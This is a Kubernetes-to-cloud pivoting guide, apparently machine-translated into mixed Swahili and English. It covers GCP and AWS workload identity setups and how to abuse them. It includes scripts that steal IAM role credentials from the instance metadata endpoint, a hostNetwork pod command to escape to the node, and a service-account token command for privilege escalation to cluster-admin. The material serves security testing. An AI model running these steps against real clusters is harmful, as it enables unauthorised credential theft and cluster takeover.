Kubernetes Pivoting to Clouds

Reading time: 13 minutes

GCP

Ikiwa unaendesha k8s cluster ndani ya GCP, labda utataka baadhi ya programu zinazotumika ndani ya cluster ziwe na ufikiaji wa GCP. Kuna njia 2 za kawaida za kufanya hivyo:

Mounting GCP-SA keys as secret

Njia ya kawaida ya kumpa access to a kubernetes application to GCP ni:

• Unda a GCP Service Account
• Ibandike ruhusa zinazohitajika kwake
• Pakua json key ya SA uliyoitengeneza
• Iweke kama secret ndani ya pod
• Weka environment variable GOOGLE_APPLICATION_CREDENTIALS ikielekeza kwenye path ambapo json iko.

Relating GSA json to KSA secret

Njia ya kumpa GSA access kwa GKE cluser ni kwa ku-bind kwa njia hii:

• Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:

kubectl create serviceaccount <service-account-name>

• Unda Kubernetes Secret inayojumuisha nyaraka za uthibitisho za GCP service account unayotaka kumpa ufikiaji kwa GKE cluster. Unaweza kufanya hivyo kwa kutumia zana ya mistari ya amri gcloud, kama inavyoonyeshwa kwenye mfano ufuatao:

gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Ambatanisha Kubernetes Secret kwa Kubernetes service account kwa kutumia amri ifuatayo:

kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

GKE Workload Identity

Kwa Workload Identity, tunaweza kusanidi a Kubernetes service account ili itumike kama a Google service account. Pods zinazoendesha kwa Kubernetes service account zitatumia utambulisho wa Google service account kwa kiotomatiki wanapofikia Google Cloud APIs.

Mfululizo wa hatua za kwanza za kuwezesha tabia hii ni kuwezesha Workload Identity katika GCP (steps) na kuunda GCP SA unayotaka k8s iiganie.

• Enable Workload Identity on a new cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Tengeneza/Sasisha nodepool mpya (Autopilot clusters hazihitaji hili)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Unda GCP Service Account to impersonate kutoka K8s yenye ruhusa za GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Ungana na cluster na unda service account itakayotumiwa

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Unganisha GSA na KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com

• Endesha pod kwa kutumia KSA na angalia access kwa GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Angalia amri ifuatayo ili kuthibitisha utambulisho ikiwa itahitajika:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Hii ni script rahisi ya kupitia definitions zote za pods na kutafuta ile annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

An (outdated) way to give IAM Roles to Pods is to use a Kiam or a Kube2IAM server. Kimsingi utahitaji kuendesha daemonset katika cluster yako ikiwa na aina ya privileged IAM role. Huo daemonset ndio utakaotoa ufikiaji wa IAM roles kwa pods zinazohitaji.

Kwanza kabisa unahitaji kusanidi which roles can be accessed inside the namespace, na unafanya hivyo kwa annotation ndani ya namespace object:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Mara namespace imewekwa na IAM roles ambazo Pods zinaweza kuwa nazo, unaweza ainisha role unayotaka kwenye kila pod definition kwa kitu kama:

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Create Pod with IAM Role

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Hii ndiyo njia inayopendekezwa na AWS.

1. Kwanza kabisa unahitaji create an OIDC provider for the cluster.
2. Kisha unaunda IAM role yenye ruhusa ambazo SA itahitaji.
3. Tengeneza trust relationship between the IAM role and the SA (au namespaces zinazomuwezesha role kupata ufikiaji kwa SAs zote za namespace). Uhusiano wa kuaminiana utachunguza hasa jina la OIDC provider, jina la namespace na jina la SA.
4. Mwishowe, unda SA yenye annotation inayobainisha ARN ya role, na pods zinazotekelezwa na SA hiyo zitakuwa na ufikiaji wa token ya role. The token imeandikwa ndani ya faili na path imeainishwa katika AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Ili kupata aws kwa kutumia token kutoka /var/run/secrets/eks.amazonaws.com/serviceaccount/token endesha:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

AWS - Federation Abuse

Pata Pods na SAs zenye IAM Roles katika Cluster

Hii ni script ya kwa urahisi ku-iterate over the all the pods and sas definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role kwa cluster-admin

Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa pods, lakini kumbuka kwamba Node of the K8s cluster itakuwa instance inside the cloud. Hii inamaanisha kwamba Node ina uwezekano mkubwa wa kuwa na IAM role unayoweza kuiba (kumbuka kwamba kawaida nodes zote za K8s cluster zitakuwa na IAM role ile ile, hivyo inaweza kuwa haifai kujaribu kuangalia kila node).

Ili kufikia node metadata endpoint unahitaji:

• Kuwa katika pod na kuwa metadata endpoint imewekwa iwe angalau 2 tcp hops. Hii ni misconfiguration ya kawaida zaidi kwani kawaida pods tofauti ndani ya cluster zitahitaji access kwa metadata endpoint ili kutoathiri kazi, na kampuni kadhaa huchagua kuruhusu access kwa metadata endpoint kutoka kwa pods zote ndani ya cluster.
• Kuwa katika pod yenye hostNetwork enabled.
• Toroka hadi node na ufikie metadata endpoint moja kwa moja.

(Kumbuka kwamba metadata endpoint iko 169.254.169.254 kama kawaida).

Ili toroka hadi node unaweza kutumia amri ifuatayo kuendesha pod yenye hostNetwork enabled:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Awali tumejadili jinsi ya attach IAM Roles to Pods au hata jinsi ya escape to the Node to steal the IAM Role ambayo imeambatishwa kwenye instance.

Unaweza kutumia script ifuatayo ili steal vigezo vyako vipya vya IAM role credentials:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

Kwa muhtasari: ikiwa inawezekana kupata EKS Node IAM role kutoka kwenye pod, inawezekana kupata udhibiti wa jumla wa kubernetes cluster.

For more info check this post. As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role system:node inside the cluster. This role is very interesting although is limited by the kubernetes Node Restrictions.

Hata hivyo, node inaweza kila wakati kutengeneza tokens kwa service accounts zinazoendesha kwenye pods ndani ya node. Kwa hivyo, ikiwa node inaendesha pod yenye privileged service account, node inaweza kutengeneza token kwa service account hiyo na kuitumia kujigiza service account hiyo kama ifuatavyo:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Marejeo

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/